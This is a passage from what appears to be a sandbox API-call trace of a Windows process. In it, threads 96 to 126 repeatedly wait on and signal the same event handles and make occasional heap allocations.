Ptr=0x28b0bbffd00, Size=0x2000) returned 0x28b0bbfb0b0 [0063.451] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x4000) returned 0x28b0bbfb0b0 [0063.451] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x8000) returned 0x28b0bc19100 [0063.451] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.468] SetEvent (hEvent=0x33c) returned 1 [0063.468] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.468] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.469] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.216] SetEvent (hEvent=0x33c) returned 1 [0064.216] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.444] SetEvent (hEvent=0x33c) returned 1 [0064.444] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.205] SetEvent (hEvent=0x33c) returned 1 [0065.205] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.470] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.990] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] SetEvent (hEvent=0x33c) returned 1 [0066.337] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 96 os_tid = 0x1038 [0063.423] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.452] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0bbffd00 [0063.452] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbffd00, Size=0x2000) returned 0x28b0bbfb0b0 [0063.452] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x4000) returned 0x28b0bbfb0b0 [0063.452] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b085045e0 [0063.452] SetEvent (hEvent=0x33c) returned 1 [0063.452] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.468] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.468] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.469] SetEvent (hEvent=0x33c) returned 1 [0063.469] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.216] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.015] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] SetEvent (hEvent=0x33c) returned 1 [0065.976] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.202] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 97 os_tid = 0x103c [0063.424] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.216] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.017] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0c0feed0 [0065.017] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b0bc006a0 [0065.017] SetEvent (hEvent=0x33c) returned 1 [0065.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.990] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] SetEvent (hEvent=0x33c) returned 1 [0066.326] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 98 os_tid = 0x1040 [0063.473] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.217] SetEvent (hEvent=0x33c) returned 1 [0064.217] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.445] SetEvent (hEvent=0x33c) returned 1 [0064.445] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.206] SetEvent (hEvent=0x33c) returned 1 [0065.206] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.471] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.004] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 99 os_tid = 0x1044 [0063.474] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.217] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.443] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.016] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] SetEvent (hEvent=0x33c) returned 1 [0065.457] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.991] SetEvent (hEvent=0x33c) returned 1 [0065.991] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 100 os_tid = 0x1048 [0063.474] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.217] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.444] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.016] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.456] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] SetEvent (hEvent=0x33c) returned 1 [0065.977] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.325] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 101 os_tid = 0x104c [0063.474] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.225] SetEvent (hEvent=0x33c) returned 1 [0064.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.444] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.205] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.470] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.990] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 102 os_tid = 0x1050 [0063.474] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.445] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.204] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.471] SetEvent (hEvent=0x33c) returned 1 [0065.471] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.004] SetEvent (hEvent=0x33c) returned 1 [0066.004] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 103 os_tid = 0x1054 [0063.474] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.226] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b0a28ec20 [0064.226] SetEvent (hEvent=0x33c) returned 1 [0064.226] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.630] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.205] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.471] SetEvent (hEvent=0x33c) returned 1 [0065.471] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.004] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.336] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 104 os_tid = 0x1058 [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.630] SetEvent (hEvent=0x33c) returned 1 [0064.630] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.233] SetEvent (hEvent=0x33c) returned 1 [0065.233] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.588] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.005] SetEvent (hEvent=0x33c) returned 1 [0066.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.353] SetEvent (hEvent=0x33c) returned 1 [0066.353] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 105 os_tid = 0x105c [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.236] SetEvent (hEvent=0x33c) returned 1 [0064.236] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.631] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.232] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.588] SetEvent (hEvent=0x33c) returned 1 [0065.588] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.352] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 106 os_tid = 0x1060 [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.235] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.631] SetEvent (hEvent=0x33c) returned 1 [0064.631] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.233] SetEvent (hEvent=0x33c) returned 1 [0065.234] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.589] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.352] SetEvent (hEvent=0x33c) returned 1 [0066.352] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 107 os_tid = 0x1064 [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.235] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.630] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.205] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.471] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.004] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.337] SetEvent (hEvent=0x33c) returned 1 [0066.337] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 108 os_tid = 0x1068 [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.237] SetEvent (hEvent=0x33c) returned 1 [0064.237] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] SetEvent (hEvent=0x33c) returned 1 [0065.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.602] SetEvent (hEvent=0x33c) returned 1 [0065.602] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.180] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 109 os_tid = 0x106c [0063.475] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.236] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] SetEvent (hEvent=0x33c) returned 1 [0064.973] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.601] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.166] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.353] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 110 os_tid = 0x1070 [0063.476] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.236] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.630] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.232] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.588] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.352] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 111 os_tid = 0x1074 [0063.476] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.256] SetEvent (hEvent=0x33c) returned 1 [0064.256] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.974] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b0bc00510 [0064.974] SetEvent (hEvent=0x33c) returned 1 [0064.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.627] SetEvent (hEvent=0x33c) returned 1 [0065.627] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.202] SetEvent (hEvent=0x33c) returned 1 [0066.202] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 112 os_tid = 0x1078 [0063.476] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.255] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.972] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.233] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.590] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.167] SetEvent (hEvent=0x33c) returned 1 [0066.167] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 113 os_tid = 0x107c [0063.476] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.255] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.972] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.233] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.590] SetEvent (hEvent=0x33c) returned 1 [0065.590] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.166] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.352] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 114 os_tid = 0x1080 [0063.476] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.395] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x8000) returned 0x28b0c0eeeb0 [0064.395] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0c0f6ec0 [0064.395] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0c0f6ec0, Size=0x2000) returned 0x28b0bbfb0b0 [0064.395] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b0a28edb0 [0064.395] SetEvent (hEvent=0x33c) returned 1 [0064.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.601] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.168] SetEvent (hEvent=0x33c) returned 1 [0066.168] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 115 os_tid = 0x1084 [0063.477] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.394] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.602] SetEvent (hEvent=0x33c) returned 1 [0065.602] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.168] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 116 os_tid = 0x1088 [0063.477] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.394] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] SetEvent (hEvent=0x33c) returned 1 [0065.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.627] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.181] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 117 os_tid = 0x108c [0063.477] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.419] SetEvent (hEvent=0x33c) returned 1 [0064.419] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.602] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.168] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 118 os_tid = 0x1090 [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.419] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.602] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.180] SetEvent (hEvent=0x33c) returned 1 [0066.180] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 119 os_tid = 0x1094 [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.419] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.992] SetEvent (hEvent=0x33c) returned 1 [0064.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] SetEvent (hEvent=0x33c) returned 1 [0065.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.628] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.202] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 120 os_tid = 0x1098 [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.420] SetEvent (hEvent=0x33c) returned 1 [0064.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.628] SetEvent (hEvent=0x33c) returned 1 [0065.628] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.203] SetEvent (hEvent=0x33c) returned 1 [0066.203] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 121 os_tid = 0x109c [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.993] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.627] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.181] SetEvent (hEvent=0x33c) returned 1 [0066.181] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 122 os_tid = 0x10a0 [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.993] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x4000) returned 0x28b0bbfb0b0 [0064.993] SetEvent (hEvent=0x33c) returned 1 [0064.993] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] SetEvent (hEvent=0x33c) returned 1 [0065.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.203] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 123 os_tid = 0x10a4 [0063.478] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.429] SetEvent (hEvent=0x33c) returned 1 [0064.430] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.015] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.628] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.202] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 124 os_tid = 0x10a8 [0063.479] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.429] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.015] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] SetEvent (hEvent=0x33c) returned 1 [0065.457] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.990] SetEvent (hEvent=0x33c) returned 1 [0065.990] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 125 os_tid = 0x10ac [0063.479] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.429] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.015] SetEvent (hEvent=0x33c) returned 1 [0065.015] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] SetEvent (hEvent=0x33c) returned 1 [0066.326] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 126 os_tid = 0x10b0 [0063.479] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] SetEvent (hEvent=0x33c) returned 1 [0064.430] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.016] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x8000) returned 0x28b0c0f6ec0 [0065.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0065.989] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.325] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff)